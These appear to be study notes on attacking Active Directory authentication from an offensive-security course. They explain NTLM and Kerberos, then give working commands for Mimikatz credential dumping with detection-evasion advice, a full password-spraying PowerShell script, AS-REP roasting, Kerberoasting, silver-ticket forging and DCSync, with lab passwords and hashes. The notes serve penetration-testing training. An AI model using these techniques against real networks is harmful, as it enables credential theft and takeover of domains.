Book meeting

Attacking Active Directory Authentication

  1. Attacking Active Directory Authentication 23.1. Understanding Active Directory Authentication 23.1.1. NTLM Authentication

Old protocol WDigest used in older systems like Windows 7 or Windows Server 2008 R2

NTLM authentication is used when a client authenticates to a server by IP address (instead of by hostname), or if the user attempts to authenticate to a hostname that is not registered on the Active Directory-integrated DNS server. Likewise, third-party applications may choose to use NTLM authentication instead of Kerberos.

However, even with its relative weaknesses, completely disabling and blocking NTLM authentication requires extensive planning and preparation as it’s an important fallback mechanism and used by many third-party applications. Therefore, we’ll encounter enabled NTLM authentication in most assessments.

23.1.2. Kerberos Authentication

Kerberos has been used as Microsoft’s primary authentication mechanism since Windows Server 2003

Windows-based Kerberos authentication uses a ticket system. First, when a user logs in to their workstation, an Authentication Server Request (AS-REQ) is sent to the domain controller. The domain controller, acting as a KDC, also maintains the Authentication Server service. The AS-REQ contains a timestamp that is encrypted using a hash derived from the password of the user and their username.

When the domain controller receives the request, it looks up the password hash associated with the specific user in the ntds.dit file and attempts to decrypt the timestamp. If the decryption process is successful and the timestamp is not a duplicate, the authentication is considered successful.

Next, the domain controller replies to the client with an Authentication Server Reply (AS-REP). Since Kerberos is a stateless protocol, the AS-REP contains a session key and a Ticket Granting Ticket (TGT). The session key is encrypted using the user’s password hash and may be decrypted by the client and then reused. The TGT contains information regarding the user, the domain, a timestamp, the IP address of the client, and the session key. To avoid tampering, the TGT is encrypted by a secret key (NTLM hash of the krbtgt account) known only to the KDC and cannot be decrypted by the client. Once the client has received the session key and the TGT, the KDC considers the client authentication complete.

When the user wishes to access resources of the domain, such as a network share or a mailbox, it must again contact the KDC. This time, the client constructs a Ticket Granting Service Request (TGS-REQ) packet that consists of the current user and a timestamp encrypted with the session key, the name of the resource, and the encrypted TGT. Next, the ticket-granting service on the KDC receives the TGS-REQ, and if the resource exists in the domain, the TGT is decrypted using the secret key known only to the KDC. The session key is then extracted from the TGT and used to decrypt the username and timestamp of the request. At this point the KDC performs several checks: The TGT must have a valid timestamp. The username from the TGS-REQ has to match the username from the TGT. The client IP address needs to coincide with the TGT IP address. If this verification process succeeds, the ticket-granting service responds to the client with a Ticket Granting Server Reply (TGS-REP). This packet contains three parts: The name of the service for which access has been granted. A session key to be used between the client and the service. A service ticket containing the username and group memberships along with the newly created session key. The service ticket’s service name and session key are encrypted using the original session key associated with the creation of the TGT. The service ticket is encrypted using the password hash of the service account registered with the service in question. Once the authentication process by the KDC is complete and the client has both a session key and a service ticket, the service authentication begins. First, the client sends the application server an Application Request (AP-REQ), which includes the username, and a timestamp encrypted with the session key associated with the service ticket along with the service ticket itself. The application server decrypts the service ticket using the service account password hash and extracts the username and the session key. It then uses the latter to decrypt the username from the AP-REQ. If the AP-REQ username matches the one decrypted from the service ticket, the request is accepted. Before access is granted, the service inspects the supplied group memberships in the service ticket and assigns appropriate permissions to the user, after which the user may access the requested service.

23.1.3. Cached AD Credentials

Since Microsoft’s implementation of Kerberos makes use of single sign-on, password hashes must be stored somewhere to renew a TGT request. In modern versions of Windows, these hashes are stored in the Local Security Authority Subsystem Service (LSASS) memory space. We can find an excellent reference guide here.

If we gain access to these hashes, we could crack them to obtain the cleartext password or reuse them to perform various actions. Although this is the end goal of our AD attack, the process is not as straightforward as it seems. Since the LSASS process is part of the operating system and runs as SYSTEM, we need SYSTEM (or local administrator) permissions to gain access to the hashes stored on a target. due to the mainstream popularity of Mimikatz and well-known detection signatures, consider avoiding using it as a standalone application and use methods discussed in the Antivirus Evasion Module instead. For example, execute Mimikatz directly from memory using an injector like PowerShell, or use a built-in tool like Task Manager to dump the entire LSASS process memory, move the dumped data to a helper machine, and then load the data into Mimikatz.

C:\Tools\mimikatz.exe privilege::debug sekurlsa::logonpasswords

An effective defensive technique to prevent tools such as Mimikatz from extracting hashes is to enable additional LSA Protection. The LSA includes the LSASS process. By setting a registry key, Windows prevents reading memory from this process. We’ll discuss how to bypass this and other powerful defensive mechanisms in-depth in OffSec’s Evasion Techniques and Breaching Defenses course, PEN-300.

For AD instances at a functional level of Windows 2003, NTLM is the only available hashing algorithm. For instances running Windows Server 2008 or later, both NTLM and SHA-1 (a common companion for AES encryption) may be available. On older operating systems like Windows 7, or operating systems that have it manually set, WDigest will be enabled. When WDigest is enabled, running Mimikatz will reveal cleartext passwords alongside the password hashes.

A different approach and use of Mimikatz is to exploit Kerberos authentication by abusing TGT and service tickets.

…lets create a new ticket

dir \web04.corp.com\backup

and we can find it with sekurlsa::tickets

Stealing a TGS would allow us to access only particular resources associated with those tickets. Alternatively, armed with a TGT, we could request a TGS for specific resources we want to target within the domain.

These certificates may be marked as having a non-exportable private key for security reasons. If so, a private key associated with a certificate cannot be exported even with administrative privileges. However, there are various methods to export the certificate with the private key. We can rely again on Mimikatz to accomplish this. The crypto module contains the capability to either patch the CryptoAPI function with crypto::capi or KeyIso service with crypto::cng,making non-exportable keys exportable.

23.2. Performing Attacks on Active Directory Authentication

23.2.1. Password Attacks

…show account policy net accounts

… password spraying LDAP ADSI, via DirectoryEntry. if invalid we will see an exception.

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = “LDAP://” $SearchString += $PDC + “/” $DistinguishedName = “DC=$($domainObj.Name.Replace(’.’, ‘,DC=’))” $SearchString += $DistinguishedName New-Object System.DirectoryServices.DirectoryEntry($SearchString, “pete”, “Nexus123!”)

password spraying powershell script that doens’t exist on github anymore, but on https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1 type C:\Tools\Spray-Passwords.ps1 <# .SYNOPSIS PoC PowerShell script to demo how to perform password spraying attacks against user accounts in Active Directory (AD), aka low and slow online brute force method. Only use for good and after written approval from AD owner. Requires access to a Windows host on the internal network, which may perform queries against the Primary Domain Controller (PDC). Does not require admin access, neither in AD or on Windows host. Remote Server Administration Tools (RSAT) are not required.

Should NOT be considered OPSEC safe since:
- a lot of traffic is generated between the host and the Domain Controller(s).
- failed logon events will be massive on Domain Controller(s).
- badpwdcount will iterate on user account objects in scope.

No accounts should be locked out by this script alone, but there are no guarantees.
NB! This script does not take Fine-Grained Password Policies (FGPP) into consideration.

.DESCRIPTION Perform password spraying attack against user accounts in Active Directory. .PARAMETER Pass Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass ‘Password1,Password2’. Do not use together with File or Url."

.PARAMETER File Supply a path to a password input file to test multiple passwords for each targeted user account. Do not use together with Pass or Url.

.PARAMETER Url Download file from given URL and use as password input file to test multiple passwords for each targeted user account. Do not use together with File or Pass.

.PARAMETER Admins Warning: will also target privileged user accounts (admincount=1.)". Default = $false. .EXAMPLE PS C:> .\Spray-Passwords.ps1 -Pass ‘Summer2016’ 1. Test the password ‘Summer2016’ against all active user accounts, except privileged user accounts (admincount=1). .EXAMPLE PS C:> .\Spray-Passwords.ps1 -Pass ‘Summer2016,Password123’ -Admins 1. Test the password ‘Summer2016’ against all active user accounts, including privileged user accounts (admincount=1). .EXAMPLE PS C:> .\Spray-Passwords.ps1 -File .\passwords.txt -Verbose

1. Test each password in the file 'passwords.txt' against all active user accounts, except privileged user accounts (admincount=1).
2. Output script progress/status information to console.

.EXAMPLE PS C:> .\Spray-Passwords.ps1 -Url ‘https://raw.githubusercontent.com/ZilentJack/Get-bADpasswords/master/BadPasswords.txt' -Verbose

1. Download the password file with weak passwords.
2. Test each password against all active user accounts, except privileged user accounts (admincount=1).
3. Output script progress/status information to console.

.LINK Get latest version here: https://github.com/ZilentJack/Spray-Passwords .NOTES Authored by : Jakob H. Heidelberg / @JakobHeidelberg / www.improsec.com Together with : CyberKeel / www.cyberkeel.com Date created : 09/05-2016 Last modified : 26/06-2016 Version history: - 1.00: Initial public release, 26/06-2016 Tested on: - WS 2016 TP5 - WS 2012 R2 - Windows 10 Known Issues & possible solutions/workarounds: KI-0001: - Solution: - Change Requests for vNext (not prioritized): CR-0001: Support for Fine-Grained Password Policies (FGPP). CR-0002: Find better way of getting Default Domain Password Policy than “NET ACCOUNTS”. Get-ADDefaultDomainPasswordPolicy is not en option as it relies on RSAT. CR-0003: Threated approach to test more user/password combinations simultaneously. CR-0004: Exception or include list based on username, group membership, SID’s or the like. CR-0005: Exclude user account that executes the script (password probably already known). Verbose output: Use -Verbose to output script progress/status information to console. #>

[CmdletBinding(DefaultParameterSetName=‘ByPass’)] Param ( [Parameter(Mandatory = $true, ParameterSetName = ‘ByURL’,HelpMessage=“Download file from given URL and use as password input file to test multiple passwords for each targeted user account.”)] [String] $Url = ‘’,

[Parameter(Mandatory = $true, ParameterSetName = 'ByFile',HelpMessage="Supply a path to a password input file to test multiple passwords for each targeted user account.")]
[String]
$File = '',

[Parameter(Mandatory = $true, ParameterSetName = 'ByPass',HelpMessage="Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'")]
[AllowEmptyString()]
[String]
$Pass = '',

[Parameter(Mandatory = $false,HelpMessage="Warning: will also target privileged user accounts (admincount=1.)")]
[Switch]
$Admins = $false

)

Method to determine if input is numeric or not

Function isNumeric ($x) { $x2 = 0 $isNum = [System.Int32]::TryParse($x, [ref]$x2) Return $isNum }

Method to get the lockout threshold - does not take FGPP into acocunt

Function Get-threshold { $data = net accounts $threshold = $data[5].Split(":")[1].Trim()

If (isNumeric($threshold) )
    {
        Write-Verbose "threshold is a number = $threshold"
        $threshold = [Int]$threshold
    }
Else
    {
        Write-Verbose "Threshold is probably 'Never', setting max to 1000..."
        $threshold = [Int]1000
    }

Return $threshold

}

Method to get the lockout observation window - does not tage FGPP into account

Function Get-Duration { $data = net accounts $duration = [Int]$data[7].Split(":")[1].Trim() Write-Verbose “Lockout duration is = $duration” Return $duration }

Method to retrieve the user objects from the PDC

Function Get-UserObjects { # Get domain info for current domain Try {$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()} Catch {Write-Verbose “No domain found, will quit…” ; Exit}

# Get the DC with the PDC emulator role
$PDC = ($domainObj.PdcRoleOwner).Name

# Build the search string from which the users should be found
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName

# Create a DirectorySearcher to poll the DC
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

# Select properties to load, to speed things up a bit
$Searcher.PropertiesToLoad.Add("samaccountname") > $Null
$Searcher.PropertiesToLoad.Add("badpwdcount") > $Null
$Searcher.PropertiesToLoad.Add("badpasswordtime") > $Null

# Search only for enabled users that are not locked out - avoid admins unless $admins = $true
If ($Admins) {$Searcher.filter="(&(samAccountType=805306368)(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
Else {$Searcher.filter="(&(samAccountType=805306368)(!(admincount=1))(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
$Searcher.PageSize = 1000

# Find & return targeted user accounts
$userObjs = $Searcher.FindAll()
Return $userObjs

}

Method to perform auth test with specific username and password

Function Perform-Authenticate { Param ([String]$username,[String]$password)

# Get current domain with ADSI
$CurrentDomain = "LDAP://"+([ADSI]"").DistinguishedName

# Try to authenticate
Write-Verbose "Trying to authenticate as user '$username' with password '$password'"
$dom = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain, $username, $password)
$res = $dom.Name

# Return true/false
If ($res -eq $null) {Return $false}
Else {Return $true}

}

Validate and parse user supplied url to CSV file of passwords

Function Parse-Url { Param ([String]$url)

# Download password file from URL
$data = (New-Object System.Net.WebClient).DownloadString($url)
$data = $data.Split([environment]::NewLine)

# Parse passwords file and return results
If ($data -eq $null -or $data -eq "") {Return $null}
$passwords = $data.Split(",").Trim()
Return $passwords

}

Validate and parse user supplied CSV file of passwords

Function Parse-File { Param ([String]$file)

If (Test-Path $file) { $data = Get-Content $file

    If ($data -eq $null -or $data -eq "") {Return $null}
    $passwords = $data.Split(",").Trim()
    Return $passwords

} Else {Return $null} }

Main function to perform the actual brute force attack

Function BruteForce { Param ([Int]$duration,[Int]$threshold,[String[]]$passwords)

#Setup variables $userObj = Get-UserObjects Write-Verbose “Found $(($userObj).count) active & unlocked users…”

If ($passwords.Length -gt $threshold) { $time = ($passwords.Length - $threshold) * $duration Write-Host “Total run time is expected to be around $([Math]::Floor($time / 60)) hours and $([Math]::Floor($time % 60)) minutes.” }

[Boolean[]]$done = @() [Boolean[]]$usersCracked = @() [Int[]]$numTry = @() $results = @()

#Initialize arrays For ($i = 0; $i -lt $userObj.Length; $i += 1) { $done += $false $usersCracked += $false $numTry += 0 }

Main while loop which does the actual brute force.

Write-Host “Performing brute force - press [q] to stop the process and print results…” -BackgroundColor Yellow -ForegroundColor Black :Main While ($true) { # Get user accounts $userObj = Get-UserObjects

    # Iterate over every user in AD
    For ($i = 0; $i -lt $userObj.Length; $i += 1)
    {

        # Allow for manual stop of the while loop, while retaining the gathered results
        If ($Host.UI.RawUI.KeyAvailable -and ("q" -eq $Host.UI.RawUI.ReadKey("IncludeKeyUp,NoEcho").Character))
        {
            Write-Host "Stopping bruteforce now...." -Background DarkRed
            Break Main
        }

        If ($usersCracked[$i] -eq $false)
        {
            If ($done[$i] -eq $false)
            {
                # Put object values into variables
                $samaccountnname = $userObj[$i].Properties.samaccountname
                $badpwdcount = $userObj[$i].Properties.badpwdcount[0]
                $badpwdtime = $userObj[$i].Properties.badpasswordtime[0]

                # Not yet reached lockout tries
                If ($badpwdcount -lt ($threshold - 1))
                {
                    # Try the auth with current password
                    $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]

                    If ($auth -eq $true)
                    {
                        Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                        $results += $samaccountnname
                        $results += $passwords[$numTry[$i]]
                        $usersCracked[$i] = $true
                        $done[$i] = $true
                    }

                    # Auth try did not work, go to next password in list
                    Else
                    {
                        $numTry[$i] += 1
                        If ($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                    }
                }

                # One more tries would result in lockout, unless timer has expired, let's see...
                Else
                {
                    $now = Get-Date

                    If ($badpwdtime)
                    {
                        $then = [DateTime]::FromFileTime($badpwdtime)
                        $timediff = ($now - $then).TotalMinutes

                        If ($timediff -gt $duration)
                        {
                            # Since observation window time has passed, another auth try may be performed
                            $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]

                            If ($auth -eq $true)
                            {
                                Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                                $results += $samaccountnname
                                $results += $passwords[$numTry[$i]]
                                $usersCracked[$i] = $true
                                $done[$i] = $true
                            }
                            Else
                            {
                                $numTry[$i] += 1
                                If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                            }

                        } # Time-diff if

                    }
                    Else
                    {
                        # Verbose-log if $badpwdtime in null. Possible "Cannot index into a null array" error.
                        Write-Verbose "- no badpwdtime exception '$samaccountnname':'$badpwdcount':'$badpwdtime'"



                               # Try the auth with current password
                            $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]

                            If ($auth -eq $true)
                            {
                                Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                                $results += $samaccountnname
                                $results += $passwords[$numTry[$i]]
                                $usersCracked[$i] = $true
                                $done[$i] = $true
                            }
                            Else
                            {
                                $numTry[$i] += 1
                                If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                            }



                    } # Badpwdtime-check if

                } # Badwpdcount-check if

            } # Done-check if

        } # User-cracked if

    } # User loop

    # Check if the bruteforce is done so the while loop can be terminated
    $amount = 0
    For ($j = 0; $j -lt $done.Length; $j += 1)
    {
        If ($done[$j] -eq $true) {$amount += 1}
    }

    If ($amount -eq $done.Length) {Break}

Take a nap for a second

Start-Sleep -m 1000

} # Main While loop

If ($results.Length -gt 0) { Write-Host “Users guessed are:” For($i = 0; $i -lt $results.Length; $i += 2) {Write-Host " ‘$($results[$i])’ with password: ‘$($results[$i + 1])’"} } Else {Write-Host “No passwords were guessed.”} }

$passwords = $null

If ($Url -ne ‘’) { $passwords = Parse-Url $Url } ElseIf($File -ne ‘’) { $passwords = Parse-File $File } Else { $passwords = $Pass.Split(",").Trim() }

If($passwords -eq $null) { Write-Host “Error in password input, please try again.” Exit }

Get password policy info

$duration = Get-Duration $threshold = Get-threshold

If ($Admins) {Write-Host “WARNING: also targeting admin accounts.” -BackgroundColor DarkRed}

Call the main function and start the brute force

BruteForce $duration $threshold $passwords

powershell -ep bypass C:\Tools\Spray-Passwords.ps1 -Pass Nexus123! -Admin

We can use crackmapexec on Kali to perform password spraying via smb … this also show if user identifiified credentials has administrative privileges “(Pwn3d!)”

cat users.txt dave jen pete

crackmapexec smb 192.168.200.75 -u users.txt -p ‘Nexus123!’ -d corp.com –continue-on-success crackmapexec smb 192.168.200.75 -u dave -p ‘Flowers1’ -d corp.com

We can use the tool kerbrute to password spraying to obtain a TGT. The advantage of this technique is that it only uses two UDP frames to determine whether the password is valid, as it sends only an AS-REQ and examines the response.

.. we use the windows version (remeber to have the text file in ANSI) type .\usernames.txt pete dave jen

kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt “Nexus123!”

23.2.2. AS-REP Roasting

first step of the authentication process via Kerberos is to send an AS-REQ. Based on this request, the domain controller can validate if the authentication is successful. If it is, the domain controller replies with an AS-REP containing the session key and TGT. This step is also commonly referred to as Kerberos preauthentication and prevents offline password guessing. Without Kerberos preauthentication in place, an attacker could send an AS-REQ to the domain controller on behalf of any AD user. After obtaining the AS-REP from the domain controller, the attacker could perform an offline password attack against the encrypted part of the response. This attack is known as AS-REP Roasting. impacket-GetNPUsers -dc-ip 192.168.133.70 -request -outputfile hashes.asreproast corp.com/pete:’Nexus123!’ hashcat –help | grep -i “Kerberos” sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule –force

.. the windows alternative is Rubeus, which is a toolset for raw Kerberos interactions and abuses. cd C:\Tools .\Rubeus.exe asreproast /nowrap

2.3. Kerberoasting We know that when a user wants to access a resource hosted by a Service Principal Name (SPN), the client requests a service ticket that is generated by the domain controller. The service ticket is then decrypted and validated by the application server, since it is encrypted via the password hash of the SPN. When requesting the service ticket from the domain controller, no checks are performed to confirm whether the user has any permissions to access the service hosted by the SPN. These checks are performed as a second step only when connecting to the service itself. This means that if we know the SPN we want to target, we can request a service ticket for it from the domain controller. The service ticket is encrypted using the SPN’s password hash. If we can request the ticket and decrypt it using brute force or guessing, we can use this information to crack the cleartext password of the service account. This technique is known as Kerberoasting.

.. lets get the hash from windows xfreerdp3 /u:jeff /d:corp.com /v:192.168.133.75 /p:‘HenchmanPutridBonbon11’ /drive:tmp,tmp C:\Tools\Rubeus.exe kerberoast /outfile:hashes.kerberoast

.. lets guess the hash tee hashes.kerberoast hashcat –help | grep -i “Kerberos” sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule –force

.. lets get the hash from kali sudo impacket-GetUserSPNs -request -dc-ip 192.168.133.70 corp.com/pete

If impacket-GetUserSPNs throws the error “KRB_AP_ERR_SKEW(Clock skew too great),” we need to synchronize the time of the Kali machine with the domain controller. We can use ntpdate or rdate to do so.

.. lets guess the hash tee hashes.kerberoast2 sudo hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule –force

This technique is immensely powerful if the domain contains high-privilege service accounts with weak passwords, which is not uncommon in many organizations. However, if the SPN runs in the context of a computer account, a managed service account, or a group-managed service account, the password will be randomly generated, complex, and 120 characters long, making cracking infeasible. The same is true for the krbtgt user account which acts as service account for the KDC. Therefore, our chances of performing a successful Kerberoast attack against SPNs running in the context of user accounts is much higher.

23.2.4. Silver Tickets

xfreerdp3 /u:jeff /d:corp.com /v:192.168.229.75 /p:‘HenchmanPutridBonbon11’ /drive:tmp,tmp

.. we don’t have access to the webservice iwr -UseDefaultCredentials http://web04

.. lets use we are local admin, and can get, SPN password hash (NTLM hash of iis_service powershell (as admin) C:\Tools\mimikatz.exe privilege::debug sekurlsa::logonpasswords

.. get DOMAIN SID, omit TID (last 4 digits) whoami /user

We need to provide the domain SID (/sid:), domain name (/domain:), and the target where the SPN runs (/target:). We also need to include the SPN protocol (/service:), NTLM hash of the SPN (/rc4:), and the /ptt option, which allows us to inject the forged ticket into the memory of the machine we execute the command on. Finally, we must enter an existing domain user for /user:. This user will be set in the forged ticket. For this example, we’ll use jeffadmin. However, we could also use any other domain user since we can set the permissions and groups ourselves

kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin

a new service ticket for the SPN HTTP/web04.corp.com has been loaded into memory and Mimikatz set appropriate group membership permissions in the forged ticket. view the ticket with klist

and this can be verified by calling the webservice iwr -UseDefaultCredentials http://web04

Since silver and golden tickets represent powerful attack techniques, Microsoft created a security patch to update the PAC structure. With this patch in place, the extended PAC structure field PAC_REQUESTOR needs to be validated by a domain controller. This mitigates the capability to forge tickets for non-existent domain users if the client and the KDC are in the same domain. Without this patch, we could create silver tickets for domain users that do not exist. The updates from this patch are enforced from October 11, 2022

2.5. Domain Controller Synchronization

In production environments, domains typically rely on more than one domain controller to provide redundancy. The Directory Replication Service (DRS) Remote Protocol uses replication to synchronize these redundant domain controllers. A domain controller may request an update for a specific object, like an account, using the IDL_DRSGetNCChanges API.

Luckily for us, the domain controller receiving a request for an update does not check whether the request came from a known domain controller. Instead, it only verifies that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user with certain rights it will succeed.

To launch such a replication, a user needs to have the Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set rights. By default, members of the Domain Admins, Enterprise Admins, and Administrators groups have these rights assigned.

If we obtain access to a user account in one of these groups or with these rights assigned, we can perform a dcsync attack in which we impersonate a domain controller. This allows us to request any user credentials from the domain.

To perform this attack, we’ll use Mimikatz on a domain-joined Windows machine, and impacket-secretsdump on our non-domain joined Kali machine for the examples of this section.

xfreerdp3 /u:jeffadmin /d:corp.com /v:192.168.229.75 /p:‘BrouhahaTungPerorateBroom2023!’ /drive:tmp,tmp c:\tools\mimikatz.exe lsadump::dcsync /user:corp\dave

.. lets brute the hash on kali cat hashes.dcsync 08d7a47a6f9f66b97b1bae4178747494

hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule –force

…we can repeat it for corp\Administrator lsadump::dcsync /user:corp\Administrator

…and we can preform it from kali, note the format (domain\uid:rid:lmhash:nthash) impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:‘BrouhahaTungPerorateBroom2023!'@192.168.50.70

Need a penetration test?

Contact us for a no-obligation conversation about your security needs.

Contact us